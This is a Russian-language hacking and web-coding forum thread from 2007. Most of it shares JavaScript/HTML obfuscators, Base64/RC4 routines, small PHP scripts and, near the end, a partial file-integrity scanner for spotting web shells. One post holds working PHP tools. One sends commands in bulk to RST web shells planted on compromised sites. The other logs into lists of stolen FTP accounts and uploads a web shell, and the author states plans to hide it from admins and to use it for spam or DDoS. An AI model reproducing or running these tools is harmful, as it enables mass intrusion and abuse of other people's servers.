{ document.write ('<embed src="Flash_1400.swf" width="1400" height="100"></embed>') };

if (width==1600)
{ document.write ('<embed src="Flash_1600.swf" width="1600" height="100"></embed>') };
//-->
</script>

GrAmOzEkA
11.11.2007, 14:30
Text/HTML/JavaScript Coder/DeCoder

<script language="javascript">
var encN=1;
function decodeTxt(s){
var s1=unescape(s.substr(0,s.length-1));
var t='';
for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt (i)-s.substr(s.length-1,1));
return unescape(t);
}
function encodeTxt(s){
s=escape(s);
var ta=new Array();
for(i=0;i<s.length;i++)ta[i]=s.charCodeAt(i)+encN;
return ""+escape(eval("String.fromCharCode("+ta+")"))+encN;
}
function escapeTxt(os){
var ns='';
var t;
var chr='';
var cc='';
var tn='';
for(i=0;i<256;i++){
tn=i.toString(16);
if(tn.length<2)tn="0"+tn;
cc+=tn;
chr+=unescape('%'+tn);
}
cc=cc.toUpperCase();
os.replace(String.fromCharCode(13)+'',"%13");
for(q=0;q<os.length;q++){
t=os.substr(q,1);
for(i=0;i<chr.length;i++){
if(t==chr.substr(i,1)){
t=t.replace(chr.substr(i,1),"%"+cc.substr(i*2,2));
i=chr.length;
}}
ns+=t;
}
return ns;
}
function unescapeTxt(s){
return unescape(s);
}
function wF(s){
document.write(decodeTxt(s));
}
</script></head><body>
<center>
<form name="fA">
<table border="0" cellpadding="5" cellspacing="0" width="700">
<tbody><tr align="center" valign="top">
<td class="tblc" width="350">
Нормальный Text/HTML/JavaScript (<a href="javascript:document.forms['fA'].f1.focus();document.forms['fA'].f1.select();">Выделить...</a>)
<br><br>
<textarea id="f1" cols="50" rows="10" wrap="off"></textarea>
</td>
<td>
<br><br><br><br>
<input value=" --&gt; " onclick="document.fA.c1.value=escapeTxt(document.fA.f1.valu e)" type="button"><br><br>
<input value=" &lt;-- " onclick="document.fA.f1.value=unescapeTxt(document.fA.c1.va lue)" type="button">
</td>
<td class="tblc" width="350">
Кодированный Text/HTML/JavaScript (<a href="javascript:document.forms['fA'].c1.focus();document.forms['fA'].c1.select();">Выделить...</a>)
<br><br>
<textarea id="c1" cols="50" rows="10"></textarea>
</td>
</tr>
</tbody></table>
</form>
</center>


2real_kas FireFox заблокировал 8125 всплывающих оконо. Браузер тупил жудко. :D

-n00by-
14.11.2007, 22:30
может немного оффтоп...есть у кавонить двиг irc сервака на php /*cgi не катит*/

NOmeR1
16.11.2007, 01:16
Маленький и очень полезный скрипт, составляющий список uin;pass, выдирает pass из ников с icq.com и сохраняет список в uins.txt =)
<?
$from = '100000';
$to = '100100';
$file = fopen( 'uins.txt', 'a' );
for( $i = $from; $i <= $to; $i++ )
{
$getinfo = file_get_contents( 'http://www.icq.com/people/about_me.php?uin='.$i );
preg_match( '|<title>(.*) - ICQ.com</title>|U', $getinfo, $name );
if( $name[1] != 'Error Page' )
{
$good = true;
fwrite( $file, $i.';'.$name[1]."\n" );
}
sleep(1);
}
fclose( $file );
if( $good == true )
{
echo('усё');
}
else
{
echo('усё плохо');
}
?>
P.S. Просто решил обновить темку, т.к. она заглохла что-то.

~!DoK_tOR!~
16.11.2007, 20:10
Javascript Encoder


<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
<meta name="Author" content="Brian Gosselin">
<title>Javascript Encoder</title>

<link href="encdec.css" rel="stylesheet" type="text/css">

<style type="text/css">

table{
background-color:#BBE6FF;
border-width:2px;
border-style:outset;
border-color:gray;
}

.outp{
background-color:#EAEAEA;
width:100%;
text-align:left;
border-color:lightgrey;
border-style:outset;
border-width:2px;
font-family:verdana;
font-size:8pt;
font-weight:normal;
}

</style>


</head>
<body>

<center><h2>Javascript Encoder</h2></center>
<br>
This script will encode javascript to make it more difficult for people to read and/or steal. Just follow the directions below.<br>

<center>
<form name="fa">
<br>
<table cellpadding="5" cellspacing=0 border=0 width="575">
<tr align="left"><td class="tblc" colspan="2">
<ol><li>Enter your javascript (no HTML) in the box below.
<li>Select the <b>Code Key</b> you want.
<li>Press the <b>Encode</b> button.
</ol></td></tr>
<tr valign="top" align="center">
<td class="tblc" width="500">
<textarea id="f2" cols=80 rows=15 wrap="off">
<SCRIPT LANGUAGE="javascript">
// SAMPLE SCRIPT #1
alert('Hello World');
</SCRIPT>

<SCRIPT LANGUAGE="javascript" SRC="your_js_file.js">
// SAMPLE SCRIPT #2 - CALLING AN EXTERNAL JS FILE
</SCRIPT>
</textarea>
</td>
<td>
<br><br>
Code Key:<br>
<select name="et" onchange="encN=this.selectedIndex+1">
<option selected>1
<option>2
<option>3
<option>4
<option>5
</select>
<br><br>
<input type="button" value="Encode" onclick="writeOut()"><br><br>
<input type="reset" value="Reset">
</td>
</tr>
</table>
<br><br>
</center>

<ol>
<li>Add your javascript code to the textarea box above.
<li>Select the "Code Key" you wish to use.
<li>Click the "Encode" button.
<li>Select all the text that appears in the box below and paste it into your HTML page where you would want the script to be. The pasted code should appear all on one line in your editor, unless you have word-wrap on. Do <b>not</b> add any linebreaks (by pressing "Enter") or the script may not work.
</ol>
<a href="javascript:document.fa.output.focus();document.fa. output.select();">Select All...</a><br>
<textarea name="output" class="outp" rows="15">
Encoded output will be displayed here...
</textarea>

</form>


<script language="javascript">

var encN=1;

// ENCODES, IN UNICODE FORMAT, ALL TEXT AND THEN ESCAPES THE OUTPUT
function encodeTxt(s){
s=escape(s);
var ta=new Array();
for(i=0;i<s.length;i++)ta[i]=s.charCodeAt(i)+encN;
return ""+escape(eval("String.fromCharCode("+ta+")"))+encN;
}


// WRITES THE DECODED OUTPUT, ALONG WITH THE ESCAPED DECODER FUNCTION TO THE DIV
function writeOut(){
document.forms["fa"].output.value="<"+"script language=javascript"+">document.write(unescape('%3C%73%63%72%69%70%74%20% 6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72 %69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%2 8%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61% 70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C %65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3 D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E% 6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72 %69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%2 8%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29% 2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74 %68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2 E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74% 29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('"+encodeTxt(document.forms['fa'].f2.value)+"')<"+"/script>";
}


</script>

</body>
</html>





HTML-Crypter




<head>
</head>

<p align=center><b>Кодировщик&nbsp;<br>
<br>
<font color="#FF0000">ВНИМАНИЕ!</font>
</b><p align=center><b><i><font color="#0000FF">Советуем вам
сохранить кодируемую страничку под другим
именем прежде чем кодировать.
Раскодировать ее потом будет практически
невозможно, и соответственно вы не сможете
в случае необходимости редактировать ее. Но
лучше все таки кодировать не всю страницу,а
только неоходимую информацию.</font></i></b><br>
<table border=0>
<tr><td><form name=conv_form>
<TEXTAREA style="BACKGROUND: img/fon3.gif;"
name=src_text COLS=35 ROWS=10 WRAP=VIRTUAL>Вставьте сюда любой текст (или файл-HTML), который нужно закодировать</TEXTAREA></td>
<td><textarea style=";" name=dest_text cols=35 rows=10 wrap=virtual>А здесь появится результат, который нужно записать в файл с расширением html (или htm) и загрузить в браузере.
Если вы кодируете скрипт, то вставьте результат как HTML-код.</textarea></td>
</tr>
</table>

<center>

<input style="background-color: #008080; background-repeat: repeat; background-attachment: scroll; color: #FFFFFF; font-style: normal; font-variant: normal; font-weight: normal; background-position: 0% 50%" value="Кодируем!" onclick="Code();return 0;" type="button">
<input style="background-color: #008080; background-repeat: repeat; background-attachment: scroll; color: #FFFFFF; font-style: normal; font-variant: normal; font-weight: normal; background-position: 0% 50%" value=" Очистить" onclick="ClearForm();return 0;" type="button">
</center>
</form>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ClearForm()
{
document.conv_form.dest_text.value="";
document.conv_form.src_text.value="";
}
function Code()
{
var temp="",i,l,c=0,out="";
var str=document.conv_form.src_text.value;
l=0;
if(str=="")return;
while(l<=str.length-1)
{
out=out+str.charCodeAt(l)+'!';
l++;
}
document.conv_form.dest_text.value="<SCRIPT LANGUAGE=\"JavaScript\">\n<!--\nfunction Decode(){var temp=\"\",i,c=0,out=\"\";var str=\""+out+"\";l=str.length;while(c<=str.length-1){while(str.charAt(c)!=\'!\')temp=temp+str.charAt (c++);c++;out=out+String.fromCharCode(temp);temp=\"\";}document.write(out);}\n//-->\n<\/SCRIPT><SCRIPT LANGUAGE=\"JavaScript\">\n<!--\nDecode();\n//-->\n<\/SCRIPT>";
}
//-->
</SCRIPT>





<?

//функция для генерирования всяких рндомных данных типа имен функций-переменных, учитывается правило что первый символ не может быть цифрой
function gen_rnd($len) {
$rnd_text=null;
for ($i=0;$i<$len;$i++){
$temp=rand(1,3);
if ($i==0){
$temp2=rand(1,2);
if ($temp2==1) {
$rnd_text.=chr(rand(65,90));
} else {
$rnd_text.=chr(rand(97,122));
}
} else {
if ($temp==1) {
$rnd_text.=chr(rand(65,90));
} elseif ($temp==2) {
$rnd_text.=chr(rand(97,122));
} else {
$rnd_text.=chr(rand(48,57));
}
}
}
return $rnd_text;
}

//функция RC4 шифрование текста
function rc4Encrypt($key, $pt) {
$s = array();
for ($i=0; $i<256; $i++) {
$s[$i] = $i;
}
$j = 0;
$x;
for ($i=0; $i<256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$ct = '';
$y;
for ($y=0; $y<strlen($pt); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$ct .= $pt[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $ct;
}


//для шифрования конечного HTML кода, просто включите данный файл в свой проект (include("lib.php")) например
function encrypt($content,$type="default"){

//сообщение выводимое браузером в случае отключенного JS, что-бы отключить вывод установите флаг $error_msg_show в положение false
$error_msg=null;
$error_msg_show=true;
if ($error_msg_show){
if ($type=="image"){
$error_msg='для отображения рисунков включите JavaScript';
} elseif($type=="url"){
$error_msg='для отображения ссылок включите JavaScript';
}else{
$error_msg='Для отображения текста включите JavaScript';
}
}
$error_msg='<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<noscript>
'.$error_msg.'
</noscript><br>';


//вычисляем время затраченное на генерацию скрипта
list($msec,$sec)=explode(chr(32),microtime());
$HeadTime=$sec+$msec;


//генерим рандомные имена ява функций отвечающих за разшифровку текста дабы исклбчить создание дешифраторов
$js_decode_name=gen_rnd(rand(5,15));
$js_decrypt_name=gen_rnd(rand(5,15));



//генерим рандомный ключ шифрования для каждой сессии шифрование
$key=gen_rnd(rand(10,30));
$key2=base64_encode($key);

$js_decrypt="function ".$js_decrypt_name."(key,pt){s=new Array();for(var i=0;i<256;i++){s[i]=i;}var j=0;var x;for(i=0;i<256;i++){j=(j+s[i]+key.charCodeAt(i%key.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=0;j=0;var ct = '';for(var y=0;y<pt.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;ct+=String.fromCharCode(pt.charCodeAt(y)^s[(s[i]+s[j])%256]);}return ct;}";
$js_decode="function ".$js_decode_name."(data){data=data.replace(/[^a-z0-9\+\/=]/ig,'');if(typeof(atob)=='function')return atob(data);var b64_map='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmno pqrstuvwxyz0123456789+/=';var byte1,byte2,byte3;var ch1,ch2,ch3,ch4;var result=new Array();var j=0;while((data.length%4)!=0){data+='=';}for(var i=0;i<data.length;i+=4){ch1=b64_map.indexOf(data.charAt( i));ch2=b64_map.indexOf(data.charAt(i+1));ch3=b64_ map.indexOf(data.charAt(i+2));ch4=b64_map.indexOf( data.charAt(i+3));byte1=(ch1<<2)|(ch2>>4);byte2=((ch2&15)<<4)|(ch3>>2);byte3=((ch3&3)<<6)|ch4;result[j++]=String.fromCharCode(byte1);if(ch3!=64)result[j++]=String.fromCharCode(byte2);if(ch4!=64)result[j++]=String.fromCharCode(byte3);}return result.join('');}";
$crypted=base64_encode(rc4Encrypt($key, $content));

//выводим время затраченное на выполение скрипта
list($msec,$sec)=explode(chr(32),microtime());
$s=null;
//$s="Страница сгенерировалась за ".round(($sec+$msec)-$HeadTime,4)." сек."; //что-бы отменить вывод времени генерации, закоментируйте эту строку

//return '<pre>'.htmlspecialchars('<script Language="JavaScript">'.$js_decrypt.';'.$js_decode.'; document.write('.$js_decrypt_name.'('.$js_decode_n ame.'("'.$key2.'"),'.$js_decode_name.'("'.$crypted.'")));</Script>'.$error_msg.$s);
//return '<script Language="JavaScript">'.$js_decrypt.';'.$js_decode.'; document.write('.$js_decrypt_name.'('.$js_decode_n ame.'("'.$key2.'"),'.$js_decode_name.'("'.$crypted.'")));</Script>'.$error_msg.$s;
$str='<script Language="JavaScript">'.$js_decrypt.';'.$js_decode.'; document.write('.$js_decrypt_name.'('.$js_decode_n ame.'("'.$key2.'"),'.$js_decode_name.'("'.$crypted.'")));</Script>'.$error_msg.$s;
$str2=null;
for ($i=0;$i<strlen($str);$i++){
$str2.="%".dechex(ord($str[$i]));
}
//return '<script Language="JavaScript">document.write(unescape("'.$str2.'"));</script>';
return $str;
flush;
}

//перехват буфера выполняющегося скрипта и передача его функции шифрования
ob_start("encrypt");
?>



Base16 implementation in JavaScript


/* Base16(Hexadecimal) conversion methods.
* Copyright (c) 2006 by Ali Farhadi.
* released under the terms of the Gnu Public License.
* see the GPL for details.
*
* Email: ali[at]farhadi[dot]ir
* Website: http://farhadi.ir/
*/

//Encodes data to Base16(hex) format
function base16Encode(data){
var b16_digits = '0123456789abcdef';
var b16_map = new Array();
for (var i=0; i<256; i++) {
b16_map[i] = b16_digits.charAt(i >> 4) + b16_digits.charAt(i & 15);
}

var result = new Array();
for (var i=0; i<data.length; i++) {
result[i] = b16_map[data.charCodeAt(i)];
}

return result.join('');
}

//Decodes Base16(hex) formated data
function base16Decode(data){
var b16_digits = '0123456789abcdef';
var b16_map = new Array();
for (var i=0; i<256; i++) {
b16_map[b16_digits.charAt(i >> 4) + b16_digits.charAt(i & 15)] = String.fromCharCode(i);
}
data = data.replace(/[^a-f0-9]/ig, '');// strip none base16 characters

if (data.length % 2) data = '0'+data;

var result = new Array();
var j=0;
for (var i=0; i<data.length; i+=2) {
result[j++] = b16_map[data.substr(i,2)];
}

return result.join('');
}




Base64 implementation in JavaScript


/* Base64 conversion methods.
* Copyright (c) 2006 by Ali Farhadi.
* released under the terms of the Gnu Public License.
* see the GPL for details.
*
* Email: ali[at]farhadi[dot]ir
* Website: http://farhadi.ir/
*/

//Encodes data to Base64 format
function base64Encode(data){
if (typeof(btoa) == 'function') return btoa(data);//use internal base64 functions if available (gecko only)
var b64_map = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz0123456789+/=';
var byte1, byte2, byte3;
var ch1, ch2, ch3, ch4;
var result = new Array(); //array is used instead of string because in most of browsers working with large arrays is faster than working with large strings
var j=0;
for (var i=0; i<data.length; i+=3) {
byte1 = data.charCodeAt(i);
byte2 = data.charCodeAt(i+1);
byte3 = data.charCodeAt(i+2);
ch1 = byte1 >> 2;
ch2 = ((byte1 & 3) << 4) | (byte2 >> 4);
ch3 = ((byte2 & 15) << 2) | (byte3 >> 6);
ch4 = byte3 & 63;

if (isNaN(byte2)) {
ch3 = ch4 = 64;
} else if (isNaN(byte3)) {
ch4 = 64;
}

result[j++] = b64_map.charAt(ch1)+b64_map.charAt(ch2)+b64_map.ch arAt(ch3)+b64_map.charAt(ch4);
}

return result.join('');
}

//Decodes Base64 formated data
function base64Decode(data){
data = data.replace(/[^a-z0-9\+\/=]/ig, '');// strip none base64 characters
if (typeof(atob) == 'function') return atob(data);//use internal base64 functions if available (gecko only)
var b64_map = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz0123456789+/=';
var byte1, byte2, byte3;
var ch1, ch2, ch3, ch4;
var result = new Array(); //array is used instead of string because in most of browsers working with large arrays is faster than working with large strings
var j=0;
while ((data.length%4) != 0) {
data += '=';
}

for (var i=0; i<data.length; i+=4) {
ch1 = b64_map.indexOf(data.charAt(i));
ch2 = b64_map.indexOf(data.charAt(i+1));
ch3 = b64_map.indexOf(data.charAt(i+2));
ch4 = b64_map.indexOf(data.charAt(i+3));

byte1 = (ch1 << 2) | (ch2 >> 4);
byte2 = ((ch2 & 15) << 4) | (ch3 >> 2);
byte3 = ((ch3 & 3) << 6) | ch4;

result[j++] = String.fromCharCode(byte1);
if (ch3 != 64) result[j++] = String.fromCharCode(byte2);
if (ch4 != 64) result[j++] = String.fromCharCode(byte3);
}

return result.join('');
}




<?php
/* RC4 symmetric cipher encryption/decryption
* Copyright (c) 2006 by Ali Farhadi.
* released under the terms of the Gnu Public License.
* see the GPL for details.
*
* Email: ali[at]farhadi[dot]ir
* Website: http://farhadi.ir/
*/

/**
* Encrypt given plain text using the key with RC4 algorithm.
* All parameters and return value are in binary format.
*
* @param string key - secret key for encryption
* @param string pt - plain text to be encrypted
* @return string
*/
function rc4Encrypt($key, $pt) {
$s = array();
for ($i=0; $i<256; $i++) {
$s[$i] = $i;
}
$j = 0;
$x;
for ($i=0; $i<256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$ct = '';
$y;
for ($y=0; $y<strlen($pt); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$ct .= $pt[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $ct;
}

/**
* Decrypt given cipher text using the key with RC4 algorithm.
* All parameters and return value are in binary format.
*
* @param string key - secret key for decryption
* @param string ct - cipher text to be decrypted
* @return string
*/
function rc4Decrypt($key, $ct) {
return rc4Encrypt($key, $ct);
}
?>

inv
16.11.2007, 20:15
приведи пожалуйста ссылку на страницу с хтмл\ява кодом зашифрованную таким способом

-------это сообщение будет удалено

~!DoK_tOR!~
16.11.2007, 20:21
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20% 6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72 %69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%2 8%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61% 70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C %65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3 D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E% 6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72 %69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%2 8%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29% 2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74 %68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2 E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74% 29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('.... ...%26v155E%26v1553%26v154F%2631%26v1552%26v154F%2 6v154F%26v1542%26v155%3A%26v1546%26v154E%26v1549%2 6v1546%2631%26v1542%26v1554%26v1545%26v1546%26v155 3%2631%26v1554%26v1545%26v1541%26v154C%26v1546%26v 154E%26v154F1')</script>

inv
16.11.2007, 20:26
я имею в виду чтобы было что -то зашифровано чего стоит шифровать и после шифрования сложно было расшифровать

вслед раз просьба не кидать тут код он искажается

~!DoK_tOR!~
16.11.2007, 20:28
я имею в виду чтобы было что -то зашифровано чего стоит шифровать и после шифрования сложно было расшировать

вслед раз просьба не кидать тут код он искажается

Вот эта фраза зашифрована:

-------это сообщение будет удалено

inv
16.11.2007, 20:31
я понял=)

я хотел узнать есть ли смысл шифровать таким методом
просто шифровать хтмл код вообще смысла не вижу
насчет ява кода здесь не всетак просто
поэтому прошу привести достойный пример

~!DoK_tOR!~
16.11.2007, 20:33
нет, всю конечно страницу ненадо шифровать только отдельную часть =\\

inv
16.11.2007, 20:36
ты понял что я хочу или нет?)я хочу узнать смысл такого шифрования=\
я как раз ищу криптор ява кода=)
-----
просьба к модеру потом все потереть

Macro
16.11.2007, 20:40
ты понял что я хочу или нет?)я хочу узнать смысл такого шифрования=\
я как раз ищу криптор ява кода=)
-----
просьба к модеру потом все потереть
У меня есть хороший криптор яваскрипта. ВОт пример его работы
http://slil.ru/25112559

inv
16.11.2007, 20:42
к твоему мнению это х***ый криптор

Macro
16.11.2007, 20:45
к твоему мнению это х***ый криптор
Почему?

~!DoK_tOR!~
16.11.2007, 21:14
Вот архив собрал всё что у меня есть:
http://slil.ru/25112675

Макс 8===3
22.11.2007, 21:24
Людиии!!! Подскажите, ка выделить картинку, чтобы она разместилась посередине страници и отделить её и от верха и низа на несколько строк??????

<div id="head">
<noindex><a href=http://.......> <img src="1.jpg" alt="ХОЙ">
</a></noindex></div>

Спасибо!

GrAmOzEkA
23.11.2007, 10:04
Простенький скрипт голосовалки:

index.php
<?php
$arr_variants=file("vopros.txt");
$arr_opros=file("result.txt");
echo "<form action=result.php method=post>";
$variants=0;
echo $arr_variants[$variants]."<BR>";
$variants=1;
$opros=1;
while ($variants<count($arr_variants)){
echo "<input type='radio' name='oprosi' value='$opros'>"."$arr_variants[$variants]<BR>";
$variants++;
$opros++;
}
echo "<input type='submit' name='enter' value='голосовать'>";
echo "</form>";
?>
result.php
<?php
$arr_data=file("result.txt");
$d=$_POST['oprosi'];
echo $d."<br>";
$arr_data[$d] = intval($arr_data[$d]) + 1;
print_r($arr_data);
foreach ($arr_data as $d){
echo $d;
}
?>
result.txt

Варианты ответа
0
0
0

vopros.txt

Тут типа вопрос. =)
1) Ответ 1
2) Ответ 2
3) Ответ 3

VADIK-XXX
02.12.2007, 17:56
Почтовики:

ZmailCasher v2.2.10

Скачать (http://depositfiles.com/ru/files/2568950)

Mails

Скачать (http://depositfiles.com/ru/files/2569220)

MacheteMailCasher2

Скачать (http://depositfiles.com/files/2569268)

Dmail 3.62

Скачать (http://depositfiles.com/files/2569316)

Wm-Zona

Скачать (http://depositfiles.com/files/2569402)

Магазины:

Wmshop 12

Скачать (http://depositfiles.com/files/2569367)

VADIK-XXX
02.12.2007, 22:10
Автосерфинг:

ExchangeVisits v 3.00

Скачать (http://depositfiles.com/files/2572507)

real_kas
07.12.2007, 12:53
Код, попап изображения.
Главное его свойство, это то что нет зазоров в открываемом окне. Фотка выводиться как есть.
Очень удобно. Можно внедрить в PHP, и забыть о том, что фотки открываются в новом окне, или в некрасивом виде.


/**
Кроссбраузерный JavaScript-код
Проверено в: NN9,FF2&3,Opera,IE7
*/
timeout = 0;
function Start(URL, WIDTH, HEIGHT) {
windowprops = "width=" + (WIDTH+2) + ",height=" + (HEIGHT+2);
text = "<html><head><title>Image</title></head><body bgcolor='#dddddd' style='padding: 1px; margin: 0'";
if (timeout != 0) text +=" onLoad=\"setTimeout('window.close()', " + timeout*1000 + ");\"";
text += "><center><img src='" + URL + "'>";
if (timeout != 0) text +="<br><font face='Tahoma, helvetica' size='-1'>Preview closes after " + timeout + " seconds.</font>";
text += "</center></body></html>";
preview = window.open("", "preview", windowprops);
preview.document.open();
preview.document.write(text);
preview.document.close();
}


вызов функции:


<a href="javascript:Start('большая_фотка.jpg', 600, 450)";><img src="маленькая_фотка.jpg" alt="Альт"/></a>

.::Gh0st::.
09.12.2007, 14:41
может пригодиться счастливым обладателям большого колличества rst шеллов (которые кстати по гуглу насобирать без проблем можно). просто кидаете список с шеллами в файл и задаете команду в скрипте. функционал может быть дополнен до безграничности. можете загружать на хосты скрипты и выполнять их (например спамскрипты). в общем фантазия вам в помощь для дальнейших модификаций. скрипт работает по принципу cyber ddos system. в частности это его немного передаланная версия, оптимизированы некоторые участки кода + убрана часть в которой идет загрузка перлового ддосера. в общем расширена специализация скрипта.

тестировалось на rst шеллах версии 1.31


<?php
//rst mass cmd executer by .::Gh0st::.

//[1]define
$shells = "shells.txt";
$cmd = "id";
//end of [1]

//[2]get shells list
$handle = fopen($shells, "r");
$buffer = fread($handle, filesize($shells));
fclose($handle);
//end of [2]

function post($post , $method, $host, $port, $path, $header)
{
$params = "";
if ($method == "POST")
{
foreach ($post as $name => $val)
{
if ($params == "")
{
$params = $name."=".$val;
}
else
{
$params = $params."&".$name."=".$val;
}
}

$post = "POST ".$path." HTTP/1.0\r\n";
$post .= "Host: $host\r\n";
$post .= $header;
$post .= "Content-Type: application/x-www-form-urlencoded\r\n";
$post .= "Content-Length: ".strlen($params)."\r\n\r\n";
$post .= "$params\r\n\r\n";
}
$fp = fsockopen($host, $port, $errno, $errstr, 5);
if(!$fp){ echo "$errstr ($errno)<br>\n"; }
else
{
fputs($fp, $post);
$result = "";
while(!feof($fp)) { $result .= fgets($fp,128);}
fclose($fp);
}
return $result;
}

$header = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Referer: http://".$host.$path."\r\n";

$post_data = array ("php_eval" => $cmd, "dir" => "", "cmd" => "php_eval", "submit" => "go",);

//sending command
$buffer = explode("\n", $buffer);
for($i=0; $i < count($buffer); $i++)
{
if (!empty($buffer[$i]))
{
$shell = explode("/", $buffer[$i]);
$host = $shell[2];
$dir = preg_split('/http:\/\/|\//i', $buffer[$i], 3);
$path = "/".$dir[2];
$content = post($post_data, "POST", $host, 80, $path, $header);
flush();
$pos = strpos($content, 'safe_mode: <b><font color=red>OFF');
if ($pos === false)
{
echo "<center><font color=red>$host not work (maybe save safe_mode=on)</font></center>";
}
else
{
echo "<center><font color=blue>$host</font> command executed</center>";
}
}
}
//end of sending command
php?>


насчет заливщика, я писал как-то заливщик для фтп-акков, но у него очень слабый функционал. он заливает в какую-либо конкретно указанную директорию.

<?
set_time_limit(0);
error_reporting(0);
ignore_user_abort(1);

$upl = 'jupra.php'; # file to upload
$ftp = 'good.txt'; # input list
$dir1 = 'images'; # directory to upload
$dir2 = 'avatars'; # deeper directory to upload

echo "<b> task started</b><br>";

$handleftp = fopen($ftp,'r');
while (!feof($handleftp))
{

$buffer = fgets($handleftp);
$buffer = explode('@',$buffer);
$host = trim($buffer[1]);
$buffer = explode(':',$buffer[0]);
$pass = $buffer[2];
$buffer = explode('/',$buffer[1]);
$logn = $buffer[2];


$connect = ftp_connect($host,21,30);
if ($connect === false)
{}
else
{
if (ftp_login($connect,$logn,$pass) === false)
{}
else
{
ftp_chdir($connect,'public_html');
ftp_mkdir($connect,$dir1);
ftp_chdir($connect,$dir1);
ftp_mkdir($connect,$dir2);
ftp_chdir($connect,$dir2);
$handle = fopen($upl,'r');
if (ftp_fput($connect, $upl, $handle, FTP_ASCII))
{
$good = fopen('uploaded.txt','a');
$string = "http://$host/$dir1/$dir2/$upl\r\n";
fwrite($good,$string);
fclose($good);
echo $string;
}
else {echo "error uploading\r\n";}
fclose($handle);
}
ftp_close($connect);
}
}
fclose($handleftp);
echo '<b> task finished</b>';
?>

ни много ни мало, мы уже получаем аналог продаваемого софта от sboy (ессно более слабого). в дальнейшем я хочу оптимизировать код заливщика (поиск директорий и заливать файл как-можно подальще, чтобы не спалили админы) и код скрипта исполняющего команды, ну и объединить их ессно. получится такой кроссплатформенный скриптег, через который можно будет залить на список фтп веб-шеллы, а потом им передавать любые команды (заливка скрипта и его исполнение (спам / ддос).

только 1 вопрос волнует - кого-нить это вообще интересует?

Dr.Z3r0
10.12.2007, 01:05
Вот скрипт для защиты от измененных/удаленных файлов и залитых веб шеллов, не панацея но все же.

Скрипт сканирует все файлы/папки начиная от папки в которой лежит скрипт и пишет результат в файл data.txt. В котором будут хранится имена каталогов+все файлы в этом каталоге с их контрольной суммой.

Ну а затем скрипт сверяется со снимком и на основании отсутствия файла/измененной контрольной суммы/отсутствия записи о файле делает выводы о том что файл был удален/изменен/создан. Также заодно и происходит сканирование на созданные/удаленные папки...

Собственно например создали сайт, довели до ума - он работает, делаем снимок, сливаем с хоста data.txt и сохраняем этот файл у себя на компе(с хоста удаляем!)...

Затем через месяцок узнаем что этот сайт взломали, ну а хацкеров есть привычка еще и лить веб шелл, и иногда троянить скрипты. Ну чтобы не парится и не просматривать каждый файл, мы сканируем скриптом хост, и он выдаст все веб шеллы с головой ;)
<?php
set_time_limit(0);
ignore_user_abort(true);
function new_scan_dir($catalog){
$cat_file='';
$cat_file[$catalog]='';
$dir = opendir ($catalog);
$i=0;
$filesh='';
while ($file = readdir ($dir)){
if(($file!='..')&&($file!='.')){
